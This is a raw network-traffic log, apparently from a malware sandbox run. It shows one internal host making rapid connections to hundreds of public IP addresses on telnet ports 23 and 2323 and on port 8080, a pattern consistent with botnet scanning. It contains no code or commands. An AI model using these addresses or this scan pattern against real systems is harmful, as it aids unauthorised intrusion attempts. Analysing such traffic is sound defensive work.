Mar 4, 2024 15:05:32.160871029 CET	47577	8080	192.168.2.13	95.208.19.182
Mar 4, 2024 15:05:32.160871029 CET	47577	8080	192.168.2.13	94.197.154.196
Mar 4, 2024 15:05:32.160871029 CET	50393	23	192.168.2.13	59.68.92.171
Mar 4, 2024 15:05:32.160892963 CET	47577	8080	192.168.2.13	85.208.121.128
Mar 4, 2024 15:05:32.160892963 CET	47577	8080	192.168.2.13	62.57.99.217
Mar 4, 2024 15:05:32.160892963 CET	47577	8080	192.168.2.13	95.136.227.133
Mar 4, 2024 15:05:32.160892963 CET	50393	23	192.168.2.13	82.138.71.64
Mar 4, 2024 15:05:32.160892963 CET	50393	23	192.168.2.13	174.143.67.233
Mar 4, 2024 15:05:32.160892963 CET	47577	8080	192.168.2.13	95.61.147.133
Mar 4, 2024 15:05:32.160892963 CET	50393	23	192.168.2.13	115.79.231.229
Mar 4, 2024 15:05:32.160892963 CET	47577	8080	192.168.2.13	94.173.61.244
Mar 4, 2024 15:05:32.160912037 CET	47577	8080	192.168.2.13	94.183.224.80
Mar 4, 2024 15:05:32.160912037 CET	50393	23	192.168.2.13	72.124.159.141
Mar 4, 2024 15:05:32.160912037 CET	47577	8080	192.168.2.13	62.47.122.204
Mar 4, 2024 15:05:32.160912037 CET	47577	8080	192.168.2.13	85.61.107.252
Mar 4, 2024 15:05:32.160912037 CET	50393	23	192.168.2.13	219.94.98.194
Mar 4, 2024 15:05:32.160912037 CET	50393	23	192.168.2.13	195.182.132.180
Mar 4, 2024 15:05:32.160912037 CET	50393	23	192.168.2.13	89.222.123.159
Mar 4, 2024 15:05:32.160912037 CET	50393	23	192.168.2.13	219.220.178.130
Mar 4, 2024 15:05:32.160927057 CET	50393	23	192.168.2.13	112.76.3.179
Mar 4, 2024 15:05:32.160927057 CET	50393	23	192.168.2.13	107.194.247.71
Mar 4, 2024 15:05:32.160927057 CET	47577	8080	192.168.2.13	94.121.224.47
Mar 4, 2024 15:05:32.160927057 CET	50393	23	192.168.2.13	12.127.40.64
Mar 4, 2024 15:05:32.160927057 CET	47577	8080	192.168.2.13	62.239.166.12
Mar 4, 2024 15:05:32.160927057 CET	50393	23	192.168.2.13	179.192.130.96
Mar 4, 2024 15:05:32.160927057 CET	47577	8080	192.168.2.13	94.165.198.220
Mar 4, 2024 15:05:32.160927057 CET	50393	23	192.168.2.13	59.40.122.251
Mar 4, 2024 15:05:32.160936117 CET	47577	8080	192.168.2.13	31.208.149.153
Mar 4, 2024 15:05:32.160936117 CET	47577	8080	192.168.2.13	95.170.127.21
Mar 4, 2024 15:05:32.160936117 CET	50393	23	192.168.2.13	109.45.237.235
Mar 4, 2024 15:05:32.160936117 CET	50393	23	192.168.2.13	161.3.14.78
Mar 4, 2024 15:05:32.160936117 CET	47577	8080	192.168.2.13	85.182.182.227
Mar 4, 2024 15:05:32.160936117 CET	50393	23	192.168.2.13	94.202.194.150
Mar 4, 2024 15:05:32.160936117 CET	47577	8080	192.168.2.13	62.165.214.131
Mar 4, 2024 15:05:32.160936117 CET	50393	23	192.168.2.13	218.249.186.102
Mar 4, 2024 15:05:32.160972118 CET	47577	8080	192.168.2.13	95.9.54.75
Mar 4, 2024 15:05:32.160972118 CET	47577	8080	192.168.2.13	94.102.140.115
Mar 4, 2024 15:05:32.160972118 CET	47577	8080	192.168.2.13	95.230.47.63
Mar 4, 2024 15:05:32.160972118 CET	50393	23	192.168.2.13	200.166.60.95
Mar 4, 2024 15:05:32.160972118 CET	47577	8080	192.168.2.13	31.253.152.52
Mar 4, 2024 15:05:32.160972118 CET	47577	8080	192.168.2.13	94.230.102.191
Mar 4, 2024 15:05:32.160973072 CET	50393	23	192.168.2.13	40.124.188.73
Mar 4, 2024 15:05:32.160973072 CET	47577	8080	192.168.2.13	94.231.221.172
Mar 4, 2024 15:05:32.161016941 CET	50393	2323	192.168.2.13	69.250.70.9
Mar 4, 2024 15:05:32.161016941 CET	47577	8080	192.168.2.13	95.119.197.201
Mar 4, 2024 15:05:32.161016941 CET	50393	23	192.168.2.13	141.204.69.100
Mar 4, 2024 15:05:32.161016941 CET	50393	23	192.168.2.13	24.98.2.245
Mar 4, 2024 15:05:32.161016941 CET	47577	8080	192.168.2.13	31.110.199.159
Mar 4, 2024 15:05:32.161016941 CET	47577	8080	192.168.2.13	94.216.50.34
Mar 4, 2024 15:05:32.161016941 CET	47577	8080	192.168.2.13	85.49.192.185
Mar 4, 2024 15:05:32.161016941 CET	47577	8080	192.168.2.13	95.238.139.37
Mar 4, 2024 15:05:32.161026955 CET	47577	8080	192.168.2.13	95.96.125.224
Mar 4, 2024 15:05:32.161026955 CET	47577	8080	192.168.2.13	85.102.87.201
Mar 4, 2024 15:05:32.161026955 CET	50393	23	192.168.2.13	174.56.199.104
Mar 4, 2024 15:05:32.161026955 CET	50393	23	192.168.2.13	164.94.100.250
Mar 4, 2024 15:05:32.161026955 CET	50393	23	192.168.2.13	210.238.54.15
Mar 4, 2024 15:05:32.161026955 CET	47577	8080	192.168.2.13	85.105.109.119
Mar 4, 2024 15:05:32.161026955 CET	50393	23	192.168.2.13	114.224.152.140
Mar 4, 2024 15:05:32.161026955 CET	47577	8080	192.168.2.13	95.82.61.101
Mar 4, 2024 15:05:32.161036968 CET	50393	23	192.168.2.13	14.208.171.139
Mar 4, 2024 15:05:32.161036968 CET	47577	8080	192.168.2.13	62.189.153.192
Mar 4, 2024 15:05:32.161037922 CET	47577	8080	192.168.2.13	31.248.236.101
Mar 4, 2024 15:05:32.161037922 CET	47577	8080	192.168.2.13	62.0.135.28
Mar 4, 2024 15:05:32.161037922 CET	47577	8080	192.168.2.13	95.200.68.65
Mar 4, 2024 15:05:32.161037922 CET	47577	8080	192.168.2.13	94.166.6.189
Mar 4, 2024 15:05:32.161037922 CET	47577	8080	192.168.2.13	31.70.225.153
Mar 4, 2024 15:05:32.161037922 CET	47577	8080	192.168.2.13	95.106.55.45
Mar 4, 2024 15:05:32.161041021 CET	50393	23	192.168.2.13	47.68.8.236
Mar 4, 2024 15:05:32.161041021 CET	50393	2323	192.168.2.13	198.81.114.80
Mar 4, 2024 15:05:32.161041021 CET	50393	23	192.168.2.13	220.68.49.10
Mar 4, 2024 15:05:32.161041021 CET	47577	8080	192.168.2.13	85.27.125.183
Mar 4, 2024 15:05:32.161041021 CET	47577	8080	192.168.2.13	62.35.24.110
Mar 4, 2024 15:05:32.161041021 CET	47577	8080	192.168.2.13	31.28.240.62
Mar 4, 2024 15:05:32.161041021 CET	50393	23	192.168.2.13	13.133.106.248
Mar 4, 2024 15:05:32.161041021 CET	47577	8080	192.168.2.13	94.231.174.59
Mar 4, 2024 15:05:32.161083937 CET	50393	23	192.168.2.13	35.7.151.18
Mar 4, 2024 15:05:32.161083937 CET	50393	23	192.168.2.13	109.124.201.123
Mar 4, 2024 15:05:32.161083937 CET	50393	23	192.168.2.13	143.87.65.180
Mar 4, 2024 15:05:32.161084890 CET	50393	23	192.168.2.13	89.17.195.14
Mar 4, 2024 15:05:32.161087990 CET	47577	8080	192.168.2.13	95.53.111.205
Mar 4, 2024 15:05:32.161087990 CET	50393	23	192.168.2.13	150.5.6.16
Mar 4, 2024 15:05:32.161084890 CET	50393	2323	192.168.2.13	112.74.223.117
Mar 4, 2024 15:05:32.161087990 CET	47577	8080	192.168.2.13	94.220.21.21
Mar 4, 2024 15:05:32.161084890 CET	50393	23	192.168.2.13	60.230.168.118
Mar 4, 2024 15:05:32.161088943 CET	47577	8080	192.168.2.13	94.77.15.88
Mar 4, 2024 15:05:32.161088943 CET	47577	8080	192.168.2.13	31.112.199.224
Mar 4, 2024 15:05:32.161084890 CET	47577	8080	192.168.2.13	95.122.236.24
Mar 4, 2024 15:05:32.161088943 CET	47577	8080	192.168.2.13	31.62.142.77
Mar 4, 2024 15:05:32.161088943 CET	47577	8080	192.168.2.13	85.145.166.232
Mar 4, 2024 15:05:32.161084890 CET	50393	23	192.168.2.13	199.54.114.230
Mar 4, 2024 15:05:32.161088943 CET	47577	8080	192.168.2.13	31.35.70.104
Mar 4, 2024 15:05:32.161113024 CET	47577	8080	192.168.2.13	31.28.99.68
Mar 4, 2024 15:05:32.161113024 CET	47577	8080	192.168.2.13	85.107.228.214
Mar 4, 2024 15:05:32.161113024 CET	47577	8080	192.168.2.13	85.20.41.93
Mar 4, 2024 15:05:32.161113024 CET	50393	23	192.168.2.13	107.172.109.140
Mar 4, 2024 15:05:32.161113024 CET	50393	23	192.168.2.13	129.247.112.232
Mar 4, 2024 15:05:32.161113024 CET	47577	8080	192.168.2.13	85.233.176.109
Mar 4, 2024 15:05:32.161113024 CET	50393	23	192.168.2.13	126.177.117.71
Mar 4, 2024 15:05:32.161113024 CET	47577	8080	192.168.2.13	85.32.168.249
Mar 4, 2024 15:05:32.161118984 CET	50393	23	192.168.2.13	138.144.60.83
Mar 4, 2024 15:05:32.161118984 CET	47577	8080	192.168.2.13	62.195.85.123
Mar 4, 2024 15:05:32.161118984 CET	50393	23	192.168.2.13	125.27.141.95
Mar 4, 2024 15:05:32.161118984 CET	50393	23	192.168.2.13	98.93.231.210
Mar 4, 2024 15:05:32.161118984 CET	50393	23	192.168.2.13	145.172.174.135
Mar 4, 2024 15:05:32.161118984 CET	47577	8080	192.168.2.13	31.238.28.143
Mar 4, 2024 15:05:32.161118984 CET	50393	23	192.168.2.13	146.143.147.190
Mar 4, 2024 15:05:32.161130905 CET	50393	23	192.168.2.13	163.134.77.66
Mar 4, 2024 15:05:32.161129951 CET	47577	8080	192.168.2.13	62.103.114.66
Mar 4, 2024 15:05:32.161130905 CET	50393	23	192.168.2.13	98.149.199.226
Mar 4, 2024 15:05:32.161129951 CET	47577	8080	192.168.2.13	31.57.236.210
Mar 4, 2024 15:05:32.161130905 CET	50393	23	192.168.2.13	128.175.83.38
Mar 4, 2024 15:05:32.161129951 CET	50393	23	192.168.2.13	178.16.244.165
Mar 4, 2024 15:05:32.161130905 CET	47577	8080	192.168.2.13	85.184.122.188
Mar 4, 2024 15:05:32.161129951 CET	50393	23	192.168.2.13	212.72.20.72
Mar 4, 2024 15:05:32.161130905 CET	50393	23	192.168.2.13	18.221.192.221
Mar 4, 2024 15:05:32.161130905 CET	50393	2323	192.168.2.13	64.197.214.39
Mar 4, 2024 15:05:32.161130905 CET	47577	8080	192.168.2.13	31.77.48.193
Mar 4, 2024 15:05:32.161137104 CET	50393	23	192.168.2.13	85.107.46.91
Mar 4, 2024 15:05:32.161130905 CET	47577	8080	192.168.2.13	94.176.187.209
Mar 4, 2024 15:05:32.161130905 CET	47577	8080	192.168.2.13	62.141.224.158
Mar 4, 2024 15:05:32.161130905 CET	47577	8080	192.168.2.13	62.20.187.211
Mar 4, 2024 15:05:32.161130905 CET	47577	8080	192.168.2.13	31.1.253.126
Mar 4, 2024 15:05:32.161137104 CET	50393	23	192.168.2.13	208.114.225.115
Mar 4, 2024 15:05:32.161130905 CET	50393	23	192.168.2.13	185.100.60.40
Mar 4, 2024 15:05:32.161137104 CET	50393	23	192.168.2.13	51.51.40.106
Mar 4, 2024 15:05:32.161137104 CET	47577	8080	192.168.2.13	85.202.184.139
Mar 4, 2024 15:05:32.161137104 CET	47577	8080	192.168.2.13	95.83.10.142
Mar 4, 2024 15:05:32.161138058 CET	47577	8080	192.168.2.13	94.21.83.195
Mar 4, 2024 15:05:32.161138058 CET	47577	8080	192.168.2.13	85.176.24.211
Mar 4, 2024 15:05:32.161138058 CET	50393	23	192.168.2.13	130.1.248.245
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	31.77.116.133
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	62.54.37.32
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	85.125.67.210
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	31.243.31.106
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	85.7.139.148
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	94.27.33.142
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	31.177.35.31
Mar 4, 2024 15:05:32.161174059 CET	47577	8080	192.168.2.13	31.127.92.121
Mar 4, 2024 15:05:32.161186934 CET	50393	23	192.168.2.13	209.226.164.136
Mar 4, 2024 15:05:32.161186934 CET	47577	8080	192.168.2.13	95.111.75.7
Mar 4, 2024 15:05:32.161186934 CET	50393	2323	192.168.2.13	82.121.233.131
Mar 4, 2024 15:05:32.161187887 CET	47577	8080	192.168.2.13	62.11.104.198
Mar 4, 2024 15:05:32.161186934 CET	47577	8080	192.168.2.13	95.152.174.98
Mar 4, 2024 15:05:32.161186934 CET	47577	8080	192.168.2.13	62.12.127.224
Mar 4, 2024 15:05:32.161187887 CET	47577	8080	192.168.2.13	85.117.60.109
Mar 4, 2024 15:05:32.161186934 CET	47577	8080	192.168.2.13	94.224.191.179
Mar 4, 2024 15:05:32.161187887 CET	50393	23	192.168.2.13	166.92.177.117
Mar 4, 2024 15:05:32.161186934 CET	47577	8080	192.168.2.13	31.181.103.197
Mar 4, 2024 15:05:32.161187887 CET	47577	8080	192.168.2.13	31.242.172.145
Mar 4, 2024 15:05:32.161186934 CET	47577	8080	192.168.2.13	31.36.29.112
Mar 4, 2024 15:05:32.161187887 CET	50393	23	192.168.2.13	82.185.188.77
Mar 4, 2024 15:05:32.161187887 CET	50393	23	192.168.2.13	60.109.168.223
Mar 4, 2024 15:05:32.161187887 CET	47577	8080	192.168.2.13	31.94.179.174
Mar 4, 2024 15:05:32.161187887 CET	47577	8080	192.168.2.13	31.184.133.148
Mar 4, 2024 15:05:32.161210060 CET	50393	23	192.168.2.13	83.68.180.45
Mar 4, 2024 15:05:32.161210060 CET	50393	23	192.168.2.13	42.164.38.133
Mar 4, 2024 15:05:32.161210060 CET	50393	23	192.168.2.13	40.185.180.80
Mar 4, 2024 15:05:32.161210060 CET	50393	23	192.168.2.13	77.43.64.131
Mar 4, 2024 15:05:32.161210060 CET	50393	23	192.168.2.13	60.46.8.81
Mar 4, 2024 15:05:32.161210060 CET	47577	8080	192.168.2.13	62.108.249.98
Mar 4, 2024 15:05:32.161210060 CET	47577	8080	192.168.2.13	31.43.118.224
Mar 4, 2024 15:05:32.161210060 CET	47577	8080	192.168.2.13	31.165.119.169
Mar 4, 2024 15:05:32.161226988 CET	47577	8080	192.168.2.13	62.161.51.126
Mar 4, 2024 15:05:32.161226988 CET	47577	8080	192.168.2.13	62.203.247.54
Mar 4, 2024 15:05:32.161226988 CET	47577	8080	192.168.2.13	31.151.193.165
Mar 4, 2024 15:05:32.161226988 CET	47577	8080	192.168.2.13	85.39.218.41
Mar 4, 2024 15:05:32.161226988 CET	50393	23	192.168.2.13	207.111.129.57
Mar 4, 2024 15:05:32.161226988 CET	47577	8080	192.168.2.13	62.222.124.123
Mar 4, 2024 15:05:32.161226988 CET	50393	23	192.168.2.13	60.42.177.19
Mar 4, 2024 15:05:32.161226988 CET	50393	23	192.168.2.13	78.223.242.16
Mar 4, 2024 15:05:32.161268950 CET	47577	8080	192.168.2.13	62.117.67.98
Mar 4, 2024 15:05:32.161269903 CET	47577	8080	192.168.2.13	85.126.47.244
Mar 4, 2024 15:05:32.161269903 CET	47577	8080	192.168.2.13	95.25.86.217
Mar 4, 2024 15:05:32.161269903 CET	47577	8080	192.168.2.13	95.66.152.2
Mar 4, 2024 15:05:32.161269903 CET	47577	8080	192.168.2.13	94.34.115.216
Mar 4, 2024 15:05:32.161269903 CET	47577	8080	192.168.2.13	62.15.179.24
Mar 4, 2024 15:05:32.161269903 CET	47577	8080	192.168.2.13	62.7.184.3
Mar 4, 2024 15:05:32.161269903 CET	47577	8080	192.168.2.13	85.215.29.76
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	62.134.155.58
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	85.213.110.7
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	95.128.134.54
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	85.127.58.65
Mar 4, 2024 15:05:32.161273956 CET	47577	8080	192.168.2.13	85.153.126.114
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	62.67.38.82
Mar 4, 2024 15:05:32.161273956 CET	50393	2323	192.168.2.13	71.36.140.233
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	31.113.135.222
Mar 4, 2024 15:05:32.161273956 CET	50393	23	192.168.2.13	179.184.188.211
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	95.123.68.232
Mar 4, 2024 15:05:32.161273956 CET	47577	8080	192.168.2.13	31.105.100.168
Mar 4, 2024 15:05:32.161276102 CET	47577	8080	192.168.2.13	62.235.170.21
Mar 4, 2024 15:05:32.161273956 CET	50393	23	192.168.2.13	118.247.190.193
Mar 4, 2024 15:05:32.161273003 CET	47577	8080	192.168.2.13	94.13.108.142
Mar 4, 2024 15:05:32.161276102 CET	47577	8080	192.168.2.13	31.118.196.134
Mar 4, 2024 15:05:32.161273956 CET	50393	23	192.168.2.13	65.220.153.223
Mar 4, 2024 15:05:32.161277056 CET	47577	8080	192.168.2.13	62.215.116.93
Mar 4, 2024 15:05:32.161273956 CET	47577	8080	192.168.2.13	85.5.115.244
Mar 4, 2024 15:05:32.161277056 CET	47577	8080	192.168.2.13	95.128.182.31
Mar 4, 2024 15:05:32.161273956 CET	47577	8080	192.168.2.13	31.123.191.147
Mar 4, 2024 15:05:32.161277056 CET	47577	8080	192.168.2.13	31.55.149.96
Mar 4, 2024 15:05:32.161277056 CET	47577	8080	192.168.2.13	94.98.252.233
Mar 4, 2024 15:05:32.161277056 CET	47577	8080	192.168.2.13	85.108.92.231
Mar 4, 2024 15:05:32.161277056 CET	47577	8080	192.168.2.13	94.148.202.63
Mar 4, 2024 15:05:32.161287069 CET	47577	8080	192.168.2.13	85.71.188.247
Mar 4, 2024 15:05:32.161287069 CET	47577	8080	192.168.2.13	62.29.186.236
Mar 4, 2024 15:05:32.161287069 CET	47577	8080	192.168.2.13	31.196.235.150
Mar 4, 2024 15:05:32.161287069 CET	47577	8080	192.168.2.13	95.105.76.22
Mar 4, 2024 15:05:32.161287069 CET	50393	23	192.168.2.13	19.29.158.210
Mar 4, 2024 15:05:32.161287069 CET	47577	8080	192.168.2.13	31.51.152.198
Mar 4, 2024 15:05:32.161287069 CET	50393	23	192.168.2.13	142.94.225.240
Mar 4, 2024 15:05:32.161287069 CET	50393	23	192.168.2.13	174.185.61.5
Mar 4, 2024 15:05:32.161377907 CET	50393	23	192.168.2.13	114.244.72.205
Mar 4, 2024 15:05:32.161377907 CET	50393	23	192.168.2.13	71.49.106.82
Mar 4, 2024 15:05:32.161377907 CET	47577	8080	192.168.2.13	31.75.38.73
Mar 4, 2024 15:05:32.161377907 CET	50393	23	192.168.2.13	37.192.108.149
Mar 4, 2024 15:05:32.161377907 CET	50393	2323	192.168.2.13	72.8.105.133
Mar 4, 2024 15:05:32.161377907 CET	47577	8080	192.168.2.13	94.62.210.84
Mar 4, 2024 15:05:32.161377907 CET	47577	8080	192.168.2.13	85.215.103.36
Mar 4, 2024 15:05:32.161377907 CET	47577	8080	192.168.2.13	31.183.91.175
Mar 4, 2024 15:05:32.161386967 CET	47577	8080	192.168.2.13	95.15.209.122
Mar 4, 2024 15:05:32.161386967 CET	47577	8080	192.168.2.13	95.1.183.71
Mar 4, 2024 15:05:32.161386967 CET	41024	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:32.161391020 CET	50393	2323	192.168.2.13	44.72.246.220
Mar 4, 2024 15:05:32.161391020 CET	47577	8080	192.168.2.13	85.120.4.223
Mar 4, 2024 15:05:32.161391020 CET	47577	8080	192.168.2.13	95.254.204.236
Mar 4, 2024 15:05:32.161391020 CET	50393	23	192.168.2.13	167.4.189.205
Mar 4, 2024 15:05:32.161391020 CET	50393	23	192.168.2.13	114.151.96.16
Mar 4, 2024 15:05:32.161391020 CET	47577	8080	192.168.2.13	94.63.54.152
Mar 4, 2024 15:05:32.161391020 CET	50393	23	192.168.2.13	130.247.12.207
Mar 4, 2024 15:05:32.161391020 CET	50393	23	192.168.2.13	118.249.32.121
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	85.65.158.243
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	95.139.91.74
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	31.149.31.38
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	85.186.158.65
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	31.93.206.216
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	95.124.109.105
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	85.157.95.14
Mar 4, 2024 15:05:32.161395073 CET	47577	8080	192.168.2.13	94.178.226.174
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	31.66.80.62
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	94.11.239.28
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	31.126.6.233
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	94.7.102.193
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	62.29.68.3
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	62.182.31.79
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	95.155.100.222
Mar 4, 2024 15:05:32.161427021 CET	47577	8080	192.168.2.13	62.218.231.182
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	95.243.167.186
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	31.93.102.82
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	94.148.54.220
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	94.97.113.45
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	85.62.222.30
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	31.253.222.159
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	94.245.52.193
Mar 4, 2024 15:05:32.161468029 CET	47577	8080	192.168.2.13	94.184.254.20
Mar 4, 2024 15:05:32.161489964 CET	47577	8080	192.168.2.13	31.116.84.238
Mar 4, 2024 15:05:32.161489964 CET	47577	8080	192.168.2.13	31.10.226.170
Mar 4, 2024 15:05:32.161489964 CET	47577	8080	192.168.2.13	95.4.66.232
Mar 4, 2024 15:05:32.161489964 CET	47577	8080	192.168.2.13	94.79.209.114
Mar 4, 2024 15:05:32.161489964 CET	47577	8080	192.168.2.13	95.139.217.74
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	95.163.60.43
Mar 4, 2024 15:05:32.161492109 CET	47577	8080	192.168.2.13	62.73.177.62
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	94.78.97.231
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	94.159.76.28
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	85.62.10.108
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	85.162.29.59
Mar 4, 2024 15:05:32.161492109 CET	50393	23	192.168.2.13	150.184.23.97
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	31.118.48.241
Mar 4, 2024 15:05:32.161493063 CET	50393	2323	192.168.2.13	155.50.62.14
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	95.229.93.44
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	62.157.205.211
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	85.220.197.193
Mar 4, 2024 15:05:32.161493063 CET	50393	23	192.168.2.13	166.120.13.131
Mar 4, 2024 15:05:32.161493063 CET	50393	23	192.168.2.13	42.85.115.34
Mar 4, 2024 15:05:32.161493063 CET	50393	23	192.168.2.13	42.184.152.216
Mar 4, 2024 15:05:32.161493063 CET	47577	8080	192.168.2.13	31.23.193.42
Mar 4, 2024 15:05:32.161505938 CET	47577	8080	192.168.2.13	62.109.198.254
Mar 4, 2024 15:05:32.161505938 CET	47577	8080	192.168.2.13	95.133.30.19
Mar 4, 2024 15:05:32.161505938 CET	50393	23	192.168.2.13	213.233.130.181
Mar 4, 2024 15:05:32.161506891 CET	50393	23	192.168.2.13	204.41.245.242
Mar 4, 2024 15:05:32.161506891 CET	50393	23	192.168.2.13	79.191.241.202
Mar 4, 2024 15:05:32.161506891 CET	50393	23	192.168.2.13	19.203.197.3
Mar 4, 2024 15:05:32.161510944 CET	50393	23	192.168.2.13	216.209.42.160
Mar 4, 2024 15:05:32.161506891 CET	50393	23	192.168.2.13	207.17.83.7
Mar 4, 2024 15:05:32.161510944 CET	47577	8080	192.168.2.13	95.186.32.243
Mar 4, 2024 15:05:32.161506891 CET	50393	23	192.168.2.13	91.1.242.41
Mar 4, 2024 15:05:32.161511898 CET	47577	8080	192.168.2.13	85.245.182.34
Mar 4, 2024 15:05:32.161511898 CET	50393	23	192.168.2.13	165.161.61.189
Mar 4, 2024 15:05:32.161511898 CET	47577	8080	192.168.2.13	94.145.160.82
Mar 4, 2024 15:05:32.161511898 CET	47577	8080	192.168.2.13	62.49.195.229
Mar 4, 2024 15:05:32.161511898 CET	47577	8080	192.168.2.13	85.161.255.196
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	94.125.76.53
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	85.207.208.73
Mar 4, 2024 15:05:32.161511898 CET	50393	23	192.168.2.13	57.98.91.184
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	31.111.4.219
Mar 4, 2024 15:05:32.161520004 CET	47577	8080	192.168.2.13	85.111.159.129
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	31.145.221.204
Mar 4, 2024 15:05:32.161520004 CET	47577	8080	192.168.2.13	31.65.63.34
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	94.236.171.175
Mar 4, 2024 15:05:32.161520004 CET	47577	8080	192.168.2.13	95.220.83.250
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	95.77.225.201
Mar 4, 2024 15:05:32.161520004 CET	47577	8080	192.168.2.13	95.144.42.250
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	62.121.94.199
Mar 4, 2024 15:05:32.161520004 CET	47577	8080	192.168.2.13	95.102.225.69
Mar 4, 2024 15:05:32.161519051 CET	47577	8080	192.168.2.13	85.2.189.237
Mar 4, 2024 15:05:32.161520004 CET	47577	8080	192.168.2.13	94.136.116.167
Mar 4, 2024 15:05:32.161520958 CET	47577	8080	192.168.2.13	95.192.35.0
Mar 4, 2024 15:05:32.161520958 CET	47577	8080	192.168.2.13	31.21.129.148
Mar 4, 2024 15:05:32.161530018 CET	47577	8080	192.168.2.13	94.154.170.195
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	62.192.249.222
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	62.123.221.129
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	62.151.163.217
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	95.4.60.232
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	95.4.4.66
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	94.90.236.155
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	95.124.246.105
Mar 4, 2024 15:05:32.161586046 CET	47577	8080	192.168.2.13	94.96.172.23
Mar 4, 2024 15:05:32.161588907 CET	47577	8080	192.168.2.13	94.65.84.163
Mar 4, 2024 15:05:32.161588907 CET	47577	8080	192.168.2.13	95.174.6.6
Mar 4, 2024 15:05:32.161588907 CET	47577	8080	192.168.2.13	94.124.33.201
Mar 4, 2024 15:05:32.161588907 CET	47577	8080	192.168.2.13	31.128.104.54
Mar 4, 2024 15:05:32.161588907 CET	47577	8080	192.168.2.13	62.247.173.225
Mar 4, 2024 15:05:32.161590099 CET	47577	8080	192.168.2.13	95.40.162.93
Mar 4, 2024 15:05:32.161590099 CET	47577	8080	192.168.2.13	31.201.230.101
Mar 4, 2024 15:05:32.161590099 CET	47577	8080	192.168.2.13	85.100.144.73
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	62.120.64.229
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	85.1.55.122
Mar 4, 2024 15:05:32.161664009 CET	47577	8080	192.168.2.13	95.150.234.210
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	85.22.172.160
Mar 4, 2024 15:05:32.161664009 CET	47577	8080	192.168.2.13	85.137.111.233
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	94.143.48.179
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	31.10.65.201
Mar 4, 2024 15:05:32.161664009 CET	47577	8080	192.168.2.13	94.44.213.187
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	62.50.26.178
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	94.19.140.194
Mar 4, 2024 15:05:32.161664009 CET	47577	8080	192.168.2.13	31.237.250.42
Mar 4, 2024 15:05:32.161663055 CET	47577	8080	192.168.2.13	94.160.216.195
